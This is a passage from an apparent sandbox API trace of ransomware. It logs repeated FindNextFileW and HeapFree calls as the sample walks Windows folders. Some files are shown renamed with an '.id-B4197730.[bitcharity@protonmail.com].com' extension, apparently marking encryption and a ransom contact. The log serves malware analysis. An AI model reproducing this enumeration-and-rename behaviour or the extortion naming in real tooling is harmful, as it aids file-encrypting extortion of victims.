ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0286.190] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.190] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0286.191] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.191] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0286.193] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.193] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0286.194] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.194] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0286.195] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.196] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0286.197] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.197] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0286.198] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.198] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0286.200] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.200] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0286.201] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.201] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0286.202] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.202] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0286.204] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.204] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34f52ab3, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34f52ab3, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x352e63c2, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="DHTMLH~1.COM")) returned 1 [0286.205] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.205] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0286.207] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.207] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x352e63c2, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x352e63c2, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x354fc4ca, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="HEADER~1.COM")) returned 1 [0286.208] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e60060 | out: hHeap=0x730000) returned 1 [0286.208] FindNextFileW (in: hFindFile=0x74a530, lpFindFileData=0x35bfcf8 | out: lpFindFileData=0x35bfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77da0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0286.209] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.209] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0286.209] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.209] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0286.209] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.209] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0286.210] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.210] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0286.210] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.210] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0286.210] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.210] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0286.210] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.210] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0286.211] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.211] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0286.211] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.211] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0286.211] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.211] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0286.211] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.212] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0286.214] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.214] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0286.214] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.214] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0286.215] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.215] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0286.215] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.215] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0286.215] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.215] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0286.215] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.215] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0286.216] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.216] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0286.216] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.216] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0286.216] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.216] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0286.217] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.217] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0286.217] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.217] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0286.217] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.217] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0286.217] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.217] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0286.218] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.218] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0286.218] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 